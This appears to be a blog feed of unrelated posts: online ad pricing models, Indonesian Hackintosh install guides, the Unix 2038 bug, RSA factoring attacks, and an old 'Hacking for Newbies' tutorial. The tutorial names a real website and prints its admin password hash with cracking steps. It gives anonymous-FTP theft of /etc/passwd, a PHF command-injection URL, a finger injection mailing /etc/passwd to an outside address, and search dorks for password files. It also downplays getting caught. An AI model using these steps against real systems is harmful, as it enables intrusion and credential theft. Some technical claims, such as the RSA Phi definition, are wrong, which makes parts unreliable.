CPM,PPC,CPC,CPA ,etc. are types business models for calculating the charge for pages (advertisements) being served. A website holder takes a publisher account which is a part of advertising business and it helps him to earn money from his website via advertisements. Advertiser gives his advertisements to company websites and gets customers or publicity. People sell and buy via advertising business and it is popular in either ways.

There are so many types of advertising.

Cpc – Cost per click

Cost per click is simple type of advertising which meant publisher getting paid for every click. It is sometimes high and sometimes low according to advertisement type and it can be nothing due to lack advertisement. It does not make sense but it is true and the reason is; when advertisement providers face lack of advertisement, they place there advertisements to keep that space filled but that is not purely premium advertisement because some website pay little for that kind of click and some does not pays for it.

Ppc – Pay per click

Pay per click is advertisement which is closely related to Cost per click advertisement but there are minor differences that pay per click advertisements are displayed according to the keywords of your website. Every website holds some keywords which is important to describe the content and category of website. Ppc shows more relevant advertisements. These advertisements are limited and sometimes payments are too low in Ppc advertising.

Cpm – Cost per Mile

This is impression based advertisements for those who just want publicity and not clients. These types pays per thousands impressions. Publishers get paid when anyone viewed the advertisement and no matter clicked or not. Pop Up advertisements and other image advertisements could be in this category. It counts unique visitors.

Cpi – Cost Per impression

Cost per impression is same as Cpm but the difference between cpm and cpi is that the publisher gets payments for every single impression which means there are no limitations of thousand impressions target to get paid. It is for unique visitors of a website.

Cpv – Cost per view

Cost per view is easy and publisher friendly type of pay per impression advertising because it pays to every impression which is counted from the website. No matter the visitor was unique or not but you will be paid same. This type of advertisements counts more impressions than other types because of this flexibility.

Cpa – Cost per action

Cost per action is a web product selling visitor referring advertisements which are not as simple as other advertisements. These are high in payments because an advertiser pays percentage to the publisher for the sold material. Visitor clicks on the advertisement and then sometimes they need to register or sometimes buy the product and then publisher get paid for it. Purely Cpa is a rule based advertisement which allows advertiser to apply his own rule for paying and then publisher gets payment according to advertisement rules.

Cpl – Cost Per Lead

Cost per Lead is a program that pays the publisher when any user signup via advertisements which means that it is another kind of referral program which allows publishers to earn more money for each signup. It is 100% profitable advertisement for both publishers.

Contextual advertising

Contextual advertising is website friendly advertisement which is specially created for article related websites and for that website that have text content. An advertiser chooses text keywords for Contextual advertising and then their advertisements are displayed as a link over text. This is for every website and it pays well for impressions and clicks.

Hacking for Newbies

noreply@blogger.com (https://cyber-dw.blogspot.com/) — Sun, 19 Feb 2017 09:16:00 +0000

OK, this file is intended solely for people who know very little about hacking, and when I say very little I mean very little. Now, for those of you jumping happily around and screaming "Finally, I am gonna be a hacker!” stop jumping around and just sit down, take a few deep breaths, and just relax.

After reading this file you should be able to hack

1 - A WWWBOARD,

2 - FTP/UNIX sites,

3 - Website Tricks, and

4 - Neat stuff/Misc. with much confidence.

~~NOTE: All commands that are written in this file, with the exception of the John the Ripper commands, like "edit passwd" are for DOS, so if you have UNIX use the VI editor or something of the sort.~~

OK, now there is no specific table of contents of this file, I am pretty much just going to make it up as I go along. Now, for you advanced hackers out there, I would recommend just leaving this file because you probably won't find much in this file that you don't already know. All right, now that I'm done this stupid raving rant, I can start explaining how to go about learning what you want to learn.

1 - How to hack a WWWBOARD (Credit going to kM of www.hackersclub.com for coming up with this brilliant idea, lets all applaud kM.)

OK, now obviously, in order to hack a WWWBOARD you need some sort of password file. Now, defaultly the passwd file is in the WWWBOARD directory. Most people who run the WWBOARD think to themselves "Hmm... What are the odds of some guy coming along and wanting to hack my WWWBOARD?" Well, the odds are pretty damn good. Now, when I say hack I mean both just to explore and just to do fun stuff like deleting files. I am not saying deleting files is GOOD, but sometimes it is fun. Anyway, the passwd file is almost always in the WWWBOARD directory, so lets take a real WWWBOARD.

The URL is http://www.cobleskill.edu/projects/archeo/wwwboard/. Now, if you go to that URL you will see a listing of files. For the purpose of this file ONLY, and not malicious intent, I have not alerted the site of this problem. Now, go to that URL and click on the file passwd.txt. You will get two words that look like this:

WebAdmin:aepTOqxOi4i8U

The first word, WebAdmin, is the username of, obviously, the operator of this WWWBOARD. The second "word" is the password, now, your probably sitting there looking at that word thinking to yourself "God damn, that is one funky password!" Well, stop thinking that because yes, that is the password, but it is encrypted. So, you have to get a password cracker. Now, I recommend one of two Password Crackers, either CrackerJack or John the Ripper, both of these can be found at http://www.hackersclub.com or almost any other hacking site. Once you go and get a password cracker you will most likely need a Word File. Those to can be found at http://www.hackersclub.com. Once you get the necessary stuff, you will need to copy the password file, WebAdmin:aepTOqxOi4i8U, and paste it into an empty notepad file or something of the sort. Now, you are probably thinking to yourself again "Alright, now I can crack this bad-ass of a password and become a hacker!" Sorry to rain on your parade, but no. Yes, you might be able to crack the password, but then ask yourself one question, once I got the password, what do I do with it?? Do I go mail it to the server www.cobleskill.edu and say "Hey, I got your passwd, now give me complete access to your WWWBOARD!" Sorry, if you do that, you will be thinking for about 10 years in prison "What did I do wrong?" or you might become Bruno's sweet boy. Sound like fun?? Didn't think so. OK, now IF you crack the password file, and you get the Username and Password, unencrypted of course, paste it into a text document or something, then add this right onto it - ":-2:-2:anonymous NFS user:/:/bin/date" What that will do will turn the WWWBOARD passwd file into a UNIX passwd file. If you don't do that then you will never crack the file. All in all the passwd file should look like this: "WebAdmin:aepTOqxOi4i8U:-2:-2:anonymous NFS user:/:/bin/date" Now, I don't use CrackerJack, so if you got that I can't help you, but if you got John the Ripper then type in this command in DOS : "john -pwfile:xxxxx -wordfile:xxxxx" XXXXX is whatever you named the passwd file or the word file. For example, "john -pwfile:hehe.txt -wordfile:WF.txt" It should just screw around for awhile and compute stuff and then if it is cracked you will get on the left side of the screen the passwd, WebBoard, and the Username, WebAdmin. Now, WebAdmin and WebBoard are the two-default username and passwds. Shows you about security these days. Now, once you got those two things, go into the WWWBOARD directory and look for a file(s) called WWWADMIN.CGI or WWWADMIN.PL or WWWBOARD.CGI or even WWWBOARD.PL. If none of those are there then you should examine the rest of the files in the directory. When I was in the directory the file wasn't there, but I found it nevertheless, I am not going to tell you what it is, but once you find it you will get something like this:

WWWAdmin For WWWBoard

Choose your Method of modifying WWWBoard Below:

Remove Files

Remove Files by Message Number

Remove Files by Date

Remove Files by Author

Password

Change Admin Password

That is, you guessed it, the little "Operating Station" for the WWWBOARD. Now, to do any of those things you must have the Username and Passwd that you cracked. So, click on an option and I think the rest is pretty much self-explanatory. I really do not recommend trashing the WWWBOARD, some people depend on them to get a lot of questions and answers, etc. I usually just read all the hidden messages and stuff like that and then just leave or tell the Operator of the WWWBOARD that his board is 100% trashable.

2 - Hacking an FTP site

OK, now hacking an FTP site WAS pretty easy a while ago, but nowadays most passwd files are shadowed which adds a little bit of extra security. I'll explain it later. OK, now, just before we start, the passwd file on UNIX machines is "passwd" not "passwd.txt." OK, now, for the example site we are going to use http://www.freestuff.com. Now, with the information I am going to give you will not let you hack this site because the passwd file is shadowed, as is almost every single website, but nevertheless, if you "experience" hacking long enough, you will find the answer on how to get the file. OK, now the first step is to do 1 of 2 things, get an FTP browser, like CuteFTP or BulletFTP or something, or you can use Win95 FTP which no one really knows about and how I found out is beyond my memory. OK, I will explain the FTP browser way first. OK, fire up the FTP Browser and for the host name plug in www.freestuff.com and for the port leave it at whatever it is, and hit connect, if there are any other options, then just screw around with them for a while and you'll figure it out. Anyway, for the access type or whatever, click on Anonymous, and after you hit connect you'll get some directories in the Remote Host box, and some other neat stuff in Local Host. Now, in the Remote Host section you want to double click on the "etc" directory if it is visible, if it is not, then see in the pull-down menus if there is an option called custom command. If there is then click on it and for the command type in "cd etc" and it will either say "OK, CWD command accepted" or something along the lines of that or it will say "..:Access Denied" or even "Error:There is no file or directory by that name." If you get the CWD command accepted then were in business. In the /etc/ directory you should see a file called passwd. If you don’t then go back up to custom command an for the command type in "get /etc/passwd" and it will either say "OK, Port command successful" or it will say "..:Access Denied." If you see that file then you can just drag the file over to local host and then click on the button "Start Download" or "Start Query" or something like that.

Now, if you have Win95 FTP you will have to go the Start Menu MS-DOS Prompt and type in "FTP WWW.FREESTUFF.COM" and it will show up a bunch of neat little messages like "connecting to www.freestuff.com" and other stuff. Eventually you will get to the login screen where it will say "(USER)" or something interesting and long like that. Now, for User type in Anonymous. If it accepts it will say "Password" or it will say, "Anonymous access not allowed on this server." Now, obviously the FBI or CIA is not going to allow ftp access, so don't even try it. Now, if you get to the password part, just type in something interesting like "Suckhole@" and the ftp server will fill in the rest. You can make it anything you want, now you'll either get 1 of 2 messages, within a marginal error, "Cannot set guest privileges" or this "Anonymous access allowed, guest privileges set." Those should be the only two that you get. If there are any others, these messages are pretty much self explanatory. Now, when you log on, the first thing you want to type is this command "pwd." Just that, it will display the current directory that you are in. You want it to say "/." If it doesn't then type this command about 3 times "cd .." That will take you down 1 directory/subdirectory. Once you get to the "/" directory, type this command "ls -a." It will list all the files in the directory, including the hidden ones. Now, if you see something in the listing that says "etc" then type this command "cd etc." That will move you into the "etc" directory. Just to be sure, type in "pwd" again to make sure you’re in the "etc" directory. If you are, then good, and type "ls -a" again and you should get some of these files: "Pwd.db, passwd, group, netconfig, net.config, or maybe even master.passwd." The two files we are most interested in are "passwd" and "master.passwd." I think what the files hold are kind of self-explanatory, but I'll tell you anyway, the "passwd" file holds all the usernames and passwd's that are on the entire system that your rooting around on. The "master.passwd" file will only show up if the passwd file is shadowed, and it also means the SysAdmin is a complete brain puppy. Forget "master.passwd" for now. The command you want to issue to this system is to get the "passwd" file from their computer to your computer, and we do that by simply typing, "get passwd." It should barf up some neat stuff, and then start transferring the file. When you get back to the ftp prompt you will have the passwd file on your C:\ drive or wherever you initiated the "ftp www.freestuff.com" from. Now, you just want to type in "quit." That will log you off the server. Now, for some reason right when you logoff the server you want to log back on just hit the "F3" key and it will pop up your last command. Now, what you want to do is move the passwd file to wherever your passwd cracker is. You can do that by typing, "move passwd X:\XX." X is the drive that your passwd cracker is on and XX is the directory the passwd cracker is in. Then it should say something like this: passwd -------> X:\XX -->OK" or something like that. Once you have moved the passwd file go the passwd crackers directory and open up the file by typing "Edit passwd." If the file has a bunch of stuff that looks like this:

root:x:x:x:x:x:x:

daemon:x:x:x:x:x:x

If it looks like that, not all the x's, just one by the usernames, then the passwd file is shadowed and can’t be cracked, might as well delete it (More info on shadowed passwd's at the bottom of this file). If it isn't shadow then just type in the passwd cracking command and get ready to hack a server! I still highly recommend not doing any damage, there are many ways to get caught and just to help out the websites out there I will not tell you the ways that they can catch you, But don't worry, every 8 out of 10 servers that are aware of having an attempted hack don't report it and just go about there business. Now, one more thing, if you get on the server with root access (basically root means that you can do anything, you are God on this system) then there are log files that record what happens to you, now, I think I am handing you more than enough information, so I am going to let you found out how to wipe your presence from the system, there are plenty of .txt files out there that tell you how to do it.

3 - Website Tricks

OK, now these Website tricks are "tricks" to get the passwd file without using FTP Browser or FTP Browsers.

The PHF Trick

OK, now this phf trick is a bit tricky (hehehe), not to use, but in the fact that some sites have added a command in there HTML code that if the phf command is issued then it will display a message like "Smile your on candid camera!" or it will say this "Your hack attempt has been logged and sent to the proper authorities." Sit the hell down, drop that shotgun, unbar your door, and stop whimpering about how your going to get busted and raped in prison by Scruffy. 90% of the time they are just bullshitting you and to them the proper authorities could be out in deep-dish-yak-dick country or in Bum Fuck Egypt. They just do that to scare the living shit out of Newbies or anybody who does that. It is bullshit, so stop worrying. OK, now on how to do the phf trick. This trick practically never works anymore, but hey, its fun to try on old school sites and stuff like that. I don't have an example site cause I really don't want to hunt down a site that this trick works on, so go find on yourself and don't send me e-mail about how you can't find a site that this doesn't work on. In order to do this trick the site must have a /cgi-bin/ directory. If it doesn't, then just leave it and forget the whole damn thing on that site, but if it does then keep reading. I am going to make this quick, an example would be this: http://www.Imanasshole.org/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

That will bring up the passwd file, but 95% of the time you'll get this very common and even more very crappy error about how the file doesn't exist. OK, that's the phf trick. Now, onto the finger-box hacking trick.

Finger-Box Hacking

Again for the finger-box hack to work you have to find a website with the /cgi-bin/ directory. I am just going to post the basic outline of commands for this cause my fingers are getting very tired of typing this :-). An example of finger-box hack is this:

http://www.XXXXX.com/cgi-bin/finger

After you type that in you will get a box, if you don't then the finger isn't there or you don't have access to it, and in the box type this:

nobody@nowhere.org ; /bin/mail me@junk.org < etc/passwd

Substitute where necessary, I have never actually gotten this trick to work cause I've never tried it more than once or twice cause I never needed it, but I knew about it so go crazy :-).

Rewriting A Web page Right From Your Web Browser

In order to do this trick again you need the /cgi-bin/ directory on your "target" site. For example, type this when you have a website that has the /cgi-bin/ directory:

http://www.XXXXX.com/cgi-bin/phf?Qalias=x%0a/bin/echo%20 "some stuff"%2

"Some stuff" is whatever you want to add basically, but beware, sometimes the web site can track you using the cookies that you sent while on there page, so just to be sure that they don't have cookie requests, if you have Netscape, then in the configuration somewhere, I forget where, check the box that says "Enable alert when accepting a cookie" or something that looks along the lines of that.

4 - Neat stuff/Misc.

The first thing I am going to cover is just some very interesting tricks that I know about AltaVista, http://www.Altavista.com. These tricks only involve you typing in something for the search query. OK, here are a list of words and things that will bring up very interesting files from websites:

root:

root

passwd.txt

wwwadmin.cgi

wwwboard.cgi

wwwadmin.pl

wwwboard.pl

passwd (Note: supposed to bring up UNIX passwd files but I haven’t tried it, so if you try it send me some e-mail and let me know what happens).

wwwboard (Note: brings up the wwwboard directories so you can look for the passwd.txt file and other neat stuff).

master.passwd (Note: again, never tried it, so send me some feedback, let me know if it is even actually worth some1's time of typing it in, or just a hoax).

OK, those words work in about almost any search engine, but work best with AltaVista because AltaVista searches the links on the pages in it's archive for your word, and almost every page has a link to it's passwd file or something other that is of interest.

OK, now this next trick I thought of when I d/led HakTek to check it out it had a feature of deleting mail-bombed messages, now, if you don't have HakTek, and don't want it/can't find it, then just go into the mail directory of your web browser, and delete all the mail and the mail bomber has wasted his time.

Now I am just going to give you some UNIX commands and what they do, so if you want to be a UNIX fan or LINUX fan then check these out:

cd X - X = the directory that you want to switch to

ls - list all the files in a directory, excluding the hidden ones

ls -a - lists all the files in a directory, including the hidden ones

ls -A - lists all the hidden files in a directory, but not the . and ..

ls -ALF - lists the properties of all the files in a directory

cd .. - goes down one directory/subdirectory

cd . - absolutely nothing!

quit - log off the ftp site (obviously only on Win95 FTP)

Those commands listed above work on BOTH FTP sites AND UNIX machines, now here are commands that work ONLY on UNIX machines:

cat X - the file you want to view

vi - Visual Editor that you can use to edit files

edit - edit files (not sure on this one, works on some UNIX's)

ed - edit files (on all machines)

chmod - change the ownership of a file

help - list of commands that you can use (Note: * next to command means that it is not used on that certain UNIX machine)

man X - for further information on a CERTAIN UNIX command whereas X is the command that you want more information on

Well, that about does it for this file, but I really didn't want to wrap it up so I am going to add some links that will help you A LOT in your travels, so visit all these links for all the tools and other things that you'll need:

http://www.hackersclub.com - A great site, I give it two-thumbs up :-).

http://project-one.com - Under Construction, where this file was intended).

http://hackers.com - Under MAJOR Construction, going to be one of the best hacking sites ever, home of Revelation, I don't know him, but if he is reading this file, then Hi revelation! :-).

http://www.adirtroad.com - TONS of neat things, and TONS of free-stuff links, again, two-thumbs up :-).

http://easyweb.easynet.co.uk/~davegraham/britpack.htm - Brit Hack Pack, there was a rumor going around that there files had virii, that is a bunch of BS, I support them completely, even though I'm not British :-).

http://www.wtp.net/~xeno/main.htm - An all around good site

http://www.geocities.com/SiliconValley/3078/frame2.html - Well, I really only included this link cause the leader of this group and the guy who runs the page loves to cause mass destruction, and he's funny to watch, so keep being funny Senate :-).

http://www.WorkingDesigns.com - Absolutely nothing to do with hacking just a great place to go if you have any of there RPG games, hope they finish the site sometime soon... and my final link:

http://www.freestuff.com - You remember that site right?? I thought so; guess what you find there???

Cara Membuat USB installer Mac OS lewat windows

noreply@blogger.com (https://cyber-dw.blogspot.com/) — Mon, 25 Apr 2016 12:00:00 +0000

Bahan yang di perlukan:

1. File DMG Mac OS X
2. 1 buah FD 8 GB
3. 1 buah FD ukuran bebas :D
4. Laptop/PC yg sudah terinstall Windows
5. Aplikasi Transmac.exe

Langkah-langkah :

1. Download dulu Transmac, dan Install
2. Setelah itu Masukkan USB 8GB
3. Kemudian Buka Aplikasi Transmac
4. Setelah Transmac terbuka, klik kanan USB, dan pilih “Format Disk for Mac”
5. Pi;ih HFS+ (Extended)
6. Setelah itu, klik kanan USB anda dan pilh “Restore with Disk Image”
7. Kemudian tunggu hingga selesai,
8. Setelah selesai, sediakan 1 USB lagi (ukuran bebas), lalu install Clover Bootable USB(bisa di Download di sini : http://www.osx86.net/files/file/342-bootdiskutility-exe-v2-0-2013-rev-159b// )

Atau di sini : http://cvad-mac.narod.ru/index/0-5

SETELAH SELESAI MENRESTORE OS X KE USB SELANJUTNYA CARA MENGGUNAKAN BOOTDISK UTILITY DAN INSTALL CLOVER BOOTLODER KE USBNYA.

Solusi dalam Hackintosh

noreply@blogger.com (https://cyber-dw.blogspot.com/) — Mon, 25 Apr 2016 06:09:00 +0000

Bagi sobat pemula yang sudah mendengar kata "hackintosh" pasti berfikir tentang Mac Os X Apple,begitu juga dengan saya.

Pada kesempatan kali ini saya akan membagi pengalaman saya mulai dari awal buat bootable FD sampai selesai installasi. Juga dengan masalah-masalah saat booting sampai installasi beserta solusinya yang isyallah berhasil.

Oke,pertama seperti pada tutorial umumnya;

1. Siapkan 2 FD (Flashdisk)
2. Mac OS X (terserah mau versi berapa... :D yang penting compatible sama lepi agan)
3. Siapkan partisi HDD,jika mau di dualboot dengan OS lain. Misal saya dualboot dengan Windows 8.1 pada saat ujicoba ini.
4. Kopi + Cemilan

Kedua,buat bootable Mac OSX nya di FD 8GB dan bootloader di FD 4GB.
1. Untuk membuat bootable Mac OSX bisa gunakan Transmac
2. Download dan install Transmac
3. Klik kanan pada FD kita lalu pilih "Format Disk For Mac"
4. Jika sudah selesai Klik kanan pilih "Restore with Disk Image"
5. Tunggu sampai selesai.
Selagi menunggu kita bisa buat bootloader di FD yang satunya. Buat bootloader bisa pake BootDiskUtility,iBoot atau rBoot. Untuk tutorial bisa cari di dokumen group/google. :D

Jika persiapan sudah kita lanjut ke setting BIOS. Pilih urutan boot priority yang pertama adalah dari FD (terserah klo pke boot yang lain).

*
Problem
- Saat boot di bios udah kedetect tp setelah itu blank hitam.
Solusi
- Cek FD yg dipake om, :D yg di pasang yang FD bootloadernya bukan yang bootablenya.
- Cek settingan bios bagian "OS Legacy" pilih enable atau atur agar menjadi OS Legacy lah intinya,jangan yang auto.

1. Nah jika sudah selesai dan masuk pada bootloadernya (jika menggunakan bootdiskutility,maka akan tampil bootloader CLOVER),masukkan FD bootable Mac OSX nya.
2. Setelah itu pilih boot dari dari FD tersebut (ntar mucul logo baru setelah masukin FD-nya) pada beberapa kejadian komputer akan restart,pada saat ini jangan cabut dulu FD bootloadernya klo dah sampe halaman pilih bahasa/logo apple baru bisa di cabut.
3. Setelah masuk halaman pra-installasi,perhatikan menu bagian atas pilih Disk Utility.
4. Setelah tampil partisi HDD yang akan dipake buat Mac OSX klik menu eraser. Pilih type Mac OSX Journal kemudian beri nama disk klik eraser.
5. Jika sudah ,keluar dari Disk Utility lalu pilih Disk yang tidak ada tanda seru (!) atau silang (X) klik install.
6. Sebelum install,klik Customize. Sesuaikan dengan hardware dan driver yang cocok.
7. Kemudian install.

*
Problem
- Partisi HDD gak kedetect,yang ada cuma FD.
Solusi
- Setting AHCI di bios jadiin "Enable".

Setelah selesai install,komputer akan restart. Masukkan lagi fd bootloadernya gan,lha kok,kenapa???yaa kan tdinya dari windows jadi bootloadernya MBR makanya yg Mac OSX gak kedetect. Sementara booting pake FD dulu... :D
Udah masuk ke bootloadernya lalu pilih partisi HDD yang udah terinstall Mac OSX tadi. Pada defaultnya bootloader Clover akan menjalankan bootflag -v (cek di option).
Bila terjadi stuck/KP saat logo Apple (restart) atau yang ....nanosecond..blablablaa :v ,ulangi lalu di Option edit menjadi -x GraphicsEnabler=No.
Jika berhasil maka akan ada tampilan Wellcom untuk pilih bahasa. *jika tidak bisa klik/enter,coba tunggu aja emang begitu...mungkin lama detect mouse/keyboardny.
Jika sudah,maka lanjutkan dengan mengisi form account apple dan dekstop akan muncul.

The Unix Time bug

noreply@blogger.com (https://cyber-dw.blogspot.com/) — Sat, 23 Apr 2016 12:16:00 +0000

Time is a big topic in our life time. Time has been one of the most

significant elements on our minds as we progressed into the 21st century.

Everyone all over the world knows about the year 2000 problem not due to

its technical significance but due to the large media attention it

recieved. Now don't lie to your self you ph33red the advent of year

2000, your mom bought extra bread and water and you heart was beating like

hell while the clock ticked down, but hey you made it. Now you may ask

what is this article about that y2k bug? Hell no, that bug was mircosoft's

bug, even though Unix systems remained in pretty good shape as time ticked

into the 21st century, it was all due to the way Unix treats time that

made the os immune to that particlular problem. So you ask again what is

this 2038 title and you soon realize the Unix os is in deep trouble, not

in the year 2000, but in 2038. Windows users feared the year 2000, but

Unix users will look on to the future with a dreaded stare, cause 2038

is coming.

To understand what this bug is all about we have to look at the core

of the problem. Unix measures time using a simple method, it counts seconds,

nothing fancy just seconds. Now everything needs a beginning, a birth and

on 12:00:00 AM January 1, 1970 (GMT) the birth of Unix time was born. A

Unix clock contains exactly the number of seconds that has elapsed since

that date. Now filestamps also use this simple counter which is maintained

by the file system code in the kernel. We can't understand those long strings

of seconds, so library functions have been coded to convert that string

and give an output of something we humans could comprehend quickly, like

Mon 12 19:54:19 1998.

<BR>Now the problem arises because the majority of C proggies use a library

of routines called the standard time library (time.h). Time.h establishes

a standard 4-byte format for storing time values. It also does the converting,

displaying and calculations of time values. This 4-byte value believes

the beginning of time was midnight January 1,1970, and at that moment the

value of time was '0'. Now a signed 4-byte integer has a limited value

of 2,147,483,647 , which is the heart of the 2038 problem. The time

value has always been stored as a 32 bit signed numbers. This means that

the maximum value of time before a roll-over to the negative side causing

an invalid time value is achieved in 2,147,483,647 ,which gets converted

to the dreaded January 19, 2038 at 3:14:07 GMT. ( Iam not sure but i think

Eastern US will be the first to experience the problem ) .

Okay so now we know the background behind this problem, lets see how

we can fix it. There are really two ways that could implement a valid fix.

Time could be treated as an unsigned quantity which it already is. This

would allow it to take on values beyond January 19, 2038 and will allows

us to progress to the 22nd century with no problmes. This theoretical

idea is nice, but it has its drawbacks. Many C programs have already been

compiled with time being a signed quantity. So days in 2039 will be seen

by the Unix box as being older than days in previous years. This will

have to call a recompilation, so that might take a while to do.

The other more logical solution is to replace the 32-bit systems with

64 bit systems. Now like the first solution this solution also has drawbacks.

64-bit systems are still relatively new. Many systems in use still deal

with number values represented by 16/32 bit systems. 64 bit systems are

the future, but at the moment they are still expensive. If we implement

processors that understand 64- bit systems, unix will be able to track

time correctly till all our grandchildren and their children pass away.

This approach is truly the most logical so this plan might be the valid

approach.

Now that we have a good understanding behind this problem, what should

we look foward to when we code programs. Hopefully, if a coder is reading

this article, they should get the idea that system design and software

specifications must be designed with long term goals. Software, unlike

hardware doesn't wear out, so we should code with a goal past our time.

Heh, millions are still using DOS and Windows 3.1 when we see those os's

as obsolete. Code should be flexible, reliable and compatible. We should

foreshadow updates and expansions which should be made to suit the future.

Now don't feel bad, Unix isn't the only os with problems heading its way,

wipe that tear off your eye as we get ready to hear more. Now I won't go

indepth into these listing, but you should now have an idea after reading

this article of how the futue will look like.

Important Future Dates

o 2030 - A break point in the windows os. The year 2029 will remain 2029

but 2030 will be interpreted as being 1930.

o September 30, 2034 - Unix os will experience an overflow in the

time function.

o 2038 - See this article

o 2041 - The IBM mainframe internal clocks will not exceed 2041, but this

problem has not been confirmed by IBM.

o January 1, 2046 - Amiga systems will experience date failure.

o 2116 - IBM PC hardware will experience problems similar to Unix's 32 bit

interger overlfow.

o 2184 - Windows NT, which uses 64 bit integer by 100 nanoseconds as its

increment will fail in 2184.

Now don't be too pessimistic about the future. Technology will hopefully

implement logical corrections for these problems. Hey remain optimistic,

2038 is a long way from now, just remember what the coders 30 years ago

were foreshadowing for the year 2000, nothing! hahahah!

Greetz

Well the greetz goes out to the Blacksun Research Facility

team for always sticking together through all our hard times.

Also lots of greetz goes out to Box Networks [.box.sk]. Also tons

of greetz goes out to the many visitors of bsrf,

from the msg boards to the irc channel, and all the cool people I

forgot to mention

laterz.

If you find any errors or have some more information to add to this

tutorial, please email me at rammal81@hotmail.com

and i'll do what I can to fix it up.

(By Mikkkeee (rammal81@hotmail.com)

RSA: Attacking the cryptosystem

noreply@blogger.com (https://cyber-dw.blogspot.com/) — Thu, 21 Apr 2016 03:00:00 +0000

The RSA cryptosystem is the most widely-used Asymmetric Cryptosystem. In this toturial I will

explain some vulnerabilities of this Cryptosystem, for people to learn from and protect themself

or attack others.

I will not explain the Cryptosystem itself, As it is described in many pages in the Internet.

Furthermore, i will expect you to know Cryptosystem yourself.

If you have any questions you can find your answers at the sci.crypt newsgroup, or you can ask

me on the IRC or Email (thedeadh@netvision.net.il)

This part is dealing with one aspect: Finding the factors of the modulus. next parts will deal

other aspects of attacking this Cryptosystem.

The Death

>>> 1.1 Basic Math & Functions Used In This Part <<<

* Length(N) returns N's number of digits

* The ^ symbol will be used here for Exponent.

* M is the Modulus of the key.

* P & Q are the two primes, which their product is M

* [R] Denotes the greatest integer not exceeding R. Example: [4] = 4, [4.6] = 4, [-2.1] = -3.

* The GCD(a,b) function returns the Greatest Common Divisor of a & b.

Example: GCD(100, 30) = 10, GCD(7,17) = 1.

* Euler's Phi(N) Function returns the greatest B that comply: B =< N, GCD(B,N) = 1

>>> 1.2 Basic Statements Used Here <<<

* X^2 - Y^2 = (X+Y)(X-Y)

Proof:

(X+Y)(X-Y) = X^2 - XY + XY - Y^2 = X^2 - Y^2

* M is odd, unless P or Q = 2

Proof:

M = PQ. P & Q are primes, Therefore are not divisible by 2 unless they are 2.

The product of two primes is divisible only by these primes.

* Fermat's factoring theorem: Every odd number can be written as the difference of two squares,

X^2 - Y^2 (X,Y : Natural).

Proof:

WTF?! I Don't care what the proof is! Go dig him up and ask him if you wish!

* Conclusions from the Phi function:

* If P is a prime, then Phi(P^K) = (P^(K-1))*(P-1)

* If P is a prime, then Phi(P) = P-1

* If GCD(A,B) = 1 Then Phi(A*B) = Phi(A)*Phi(B)

(Note: Fermat was a jackass guy who enjoyed solving mathematical sentences, then ask his friends

to solve them themself, just to annoy them)

>>> 1.3 Trial Division <<<

This is the lesser algorithm there is for attacking the RSA cryptosystem. I put it here because

hmmm.... hmmmmm..... I am not sure. Maybe i inhaled too much CO2 from the Coke bottle.

Anyways, It is simple:

1) Assign X = 2

2) Is X a divisor of M ?

* Yes - You found the P factor! Q is M/X, and now you cracked the modulus!

* No - Assign X with the next prime and do this step again

This algorithm is very slow when dealing high numbers. I still can't recall why did i put it

here.

>>> 1.4 The Idea Behind The Described Algorithms <<<

The next algorithms are called specific factorization algorithms. They can theoreticlly factor

every modulus, but work best on a key with primes that weren't chosen properly.

Each of them has a short description of the element it attacks, and how to avoid it.

>>> 1.5 Fermat's Factoring <<<

This attack is based on Fermat's Factoring Theorem (No shit...).

If X^2 - Y^2 = M, then X^2 - M = Y^2.

M is known, so we will brute-force X to find a pair X & Y that comply being Integers.

The algorithm is as follows:

1) Assign X with [SquareRoot(M)]

2) Is SquareRoot(X^2 - M) = [SquareRoot(X^2 - M)] ?

* No - Increase X by 1 and do this step again

* Yes - Proceed to step 3

3) Assign Y with SquareRoot(X^2 - M)

4) The factorisation of M is (X+Y)(X-Y), meaning P = X-Y and Q = X+Y

This algorithm is very effective against keys with modulus produced from two close primes.

The bigger ((sqrt(P) - sqrt(Q))^2)/2 is, the greater is the number of steps needed for Fermat's

factoring attack to find P and Q.

>>> 1.6 Pollard's P-1 <<<

The algorithm is as follows:

1) Choose a number A that comply 1 < A < M

2) Choose a number K

3) Is GCD(A,M) = 1 ?

* Yes - You found a factor, GCD(A,M)

* No - Proceed to step 4

4) Assign L = A^K mod M

5) Assign D = GCD(L-1, M)

6) Is D a factor of M ?

* Yes - You found a factor, D. P = D, Q = M/D.

* No - Change K and/or A and return to step 3

This algorithm is effective on M such that P or Q has small prime factors.

>>> 1.7 Initial Segment Attack <<<

There is no exact algorithm, but this what i got: (M#3, M#1... will be used to reffer to the

# digit of M. Say M = 72342, then M#1 = 2, M#5 = 7...)

1) Assign A = 2

2) Assign T with the minimum number of 0s to check the segment

3) Is M#A, M#(A+1)...M#(A+T) = 0 ?

* Yes - Proceed to step 4

* No - If A < Length(M) Then increase A by 1 and return to step 2, else exit

4) Assign B with the segment from M#A to M#1 (Initial segment starting from M#A)

5) Is GCD(B,M) > 1 ?

* Yes - You found a factor! P = GCD(B,M), Q = M/P

* No - If A < Length(M) Then increase A by 1 and return to step 2, else exit

This algorithm is effective if Length(P) < Length(Q) by much, and Q has alot of 0s in it.

______________________________________________________________________________________________

>>> 2.0 Random Attacks <<<

These attacks are based some statistic theories which i am not fimilliar with.

The basic idea is taking some algorithms (some described in the 1st section) and adding some

randomness to them.

Additional function used here is Random, which denotes a random number.

>>> 2.1 Basic Randomness Attack <<<

This is the simplest attack on this field. Like Trial Devision on the 1st section, this is the

most basic algorithms and slow algorithm might be created...

1) Assign A = Random Mod sqrt(N)

2) Is A a divisor of N ?

* Yes - Well good for you!

* No - Go back to step 1...

>>> 2.2 Pollard's RHO <<<

A better algorithm (for some statistical reasons...)

1) Assign X = Random Mod N

2) Assign Y = Random Mod N

3) Is X - Y a divisor of N ?

* Yes - Good!

* No - You know what to do...

This is the most basic idea. It can be improved using a polynomial. Example:

1) Assign X = Random Mod N

2) Assign Y = Random Mod N

3) Set X = (X^2 +1) Mod N

3) Set Y = (Y^2 +1) Mod N

4) Set Y = (Y^2 +1) Mod N Again

5) Set Z = GCD(X-Y, N)

6) Is 1 < Z < N ?

* Yes - You found a factor (Z) !

* No - go back to 1...

*** More to come soon! ***

______________________________________________________________________________________________

>>> 3.0 Real-Life Scenarios <<<

Here I will show some situations that might occur if the application or person making/using

the RSA Cryptosystem is not fully aware of them.

Sometimes trivial knowledge of an organization's security architecture might reveal some flaws

that can be explotied to crack a key, or find the plaintext of a message.

